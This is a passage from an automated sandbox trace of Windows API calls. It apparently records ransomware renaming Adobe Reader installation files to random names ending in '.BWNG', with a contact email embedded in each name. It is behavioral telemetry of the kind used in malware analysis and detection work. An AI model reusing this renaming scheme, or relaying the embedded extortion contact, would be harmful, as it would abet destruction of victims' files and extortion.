lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23286886976) returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0090.917] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\[billwong73@yahoo.com].nhKTyfQP-UEE05jon.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\[billwong73@yahoo.com].nhktyfqp-uee05jon.bwng"), dwFlags=0x1) returned 1 [0090.918] GetTickCount () returned 0x115e8ba [0090.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287035633) returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0090.918] GetTickCount () returned 0x115e8ba [0090.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23287065694) returned 1 [0090.918] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0090.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.919] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\[billwong73@yahoo.com].Jq6e8xoS-15DAMwHO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\[billwong73@yahoo.com].jq6e8xos-15damwho.bwng"), dwFlags=0x1) returned 1 [0090.920] GetTickCount () returned 0x115e8ba [0090.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287208905) returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.920] GetTickCount () returned 0x115e8ba [0090.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23287239095) returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0090.920] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\SendMail.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\sendmail.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].YvUDuNeE-kEoEOCb9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].yvudunee-keoeocb9.bwng"), dwFlags=0x1) returned 1 [0090.922] GetTickCount () returned 0x115e8ba [0090.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287412647) returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0090.922] GetTickCount () returned 0x115e8ba [0090.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23287445388) returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0090.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0090.923] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].IEW1VhIL-m50gobEb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].iew1vhil-m50gobeb.bwng"), dwFlags=0x1) returned 1 [0090.924] GetTickCount () returned 0x115e8ba [0090.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287602197) returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0090.924] GetTickCount () returned 0x115e8ba [0090.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23287633210) returned 1 [0090.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0090.924] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].fs0PSj2z-1uZz65bz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].fs0psj2z-1uzz65bz.bwng"), dwFlags=0x1) returned 1 [0090.926] GetTickCount () returned 0x115e8ba [0090.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287789158) returned 1 [0090.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].taXiPbfB-okDMRFFs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].taxipbfb-okdmrffs.bwng"), dwFlags=0x1) returned 1 [0090.927] GetTickCount () returned 0x115e8ba [0090.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23287925573) returned 1 [0090.927] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\makeaccessible.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\makeaccessible.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].5csQVo6G-oHASKp5T.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].5csqvo6g-ohaskp5t.bwng"), dwFlags=0x1) returned 1 [0090.928] GetTickCount () returned 0x115e8ba [0090.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23288051599) returned 1 [0090.928] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].7llx0ZH2-mry2NBZM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].7llx0zh2-mry2nbzm.bwng"), dwFlags=0x1) returned 1 [0090.930] GetTickCount () returned 0x115e8ba [0090.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23288399829) returned 1 [0090.932] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].sZj8NSol-UGyET8sd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].szj8nsol-ugyet8sd.bwng"), dwFlags=0x1) returned 1 [0091.415] GetTickCount () returned 0x115ea9e [0091.415] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23336761314) returned 1 [0091.416] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].oJnynzLw-azOvH6VY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].ojnynzlw-azovh6vy.bwng"), dwFlags=0x1) returned 1 [0091.419] GetTickCount () returned 0x115eaad [0091.419] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23337124386) returned 1 [0091.419] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].VxXNZZu5-YY60zrVH.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].vxxnzzu5-yy60zrvh.bwng"), dwFlags=0x1) returned 1 [0091.420] GetTickCount () returned 0x115eaad [0091.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23337277083) returned 1 [0091.421] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\Flash.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\flash.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\[billwong73@yahoo.com].jGEMzBoR-CoXLLTGM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hrv\\[billwong73@yahoo.com].jgemzbor-coxlltgm.bwng"), dwFlags=0x1) returned 1 [0091.422] GetTickCount () returned 0x115eaad [0091.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23337460890) returned 1 [0091.423] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\QuickTime.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\quicktime.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\[billwong73@yahoo.com].eh1NWfg2-LB46ukA4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_pol\\[billwong73@yahoo.com].eh1nwfg2-lb46uka4.bwng"), dwFlags=0x1) returned 1 [0091.424] GetTickCount () returned 0x115eaad [0091.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23337617635) returned 1 [0091.424] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\Flash.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\flash.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY\\[billwong73@yahoo.com].WDii28fZ-PTLXPDR8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_sky\\[billwong73@yahoo.com].wdii28fz-ptlxpdr8.bwng"), dwFlags=0x1) returned 1 [0091.425] GetTickCount () returned 0x115eaad [0091.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23337754346) returned 1 [0091.425] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\[billwong73@yahoo.com].Jzuko4zf-M8kz2rhG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\[billwong73@yahoo.com].jzuko4zf-m8kz2rhg.bwng"), dwFlags=0x1) returned 1 [0091.428] GetTickCount () returned 0x115eaad [0091.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338058246) returned 1 [0091.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\QuickTime.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\quicktime.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\[billwong73@yahoo.com].1fho3DZ1-tHdyAzpK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_tur\\[billwong73@yahoo.com].1fho3dz1-thdyazpk.bwng"), dwFlags=0x1) returned 1 [0091.430] GetTickCount () returned 0x115eaad [0091.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23338201112) returned 1 [0091.430] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Checkers.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\checkers.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 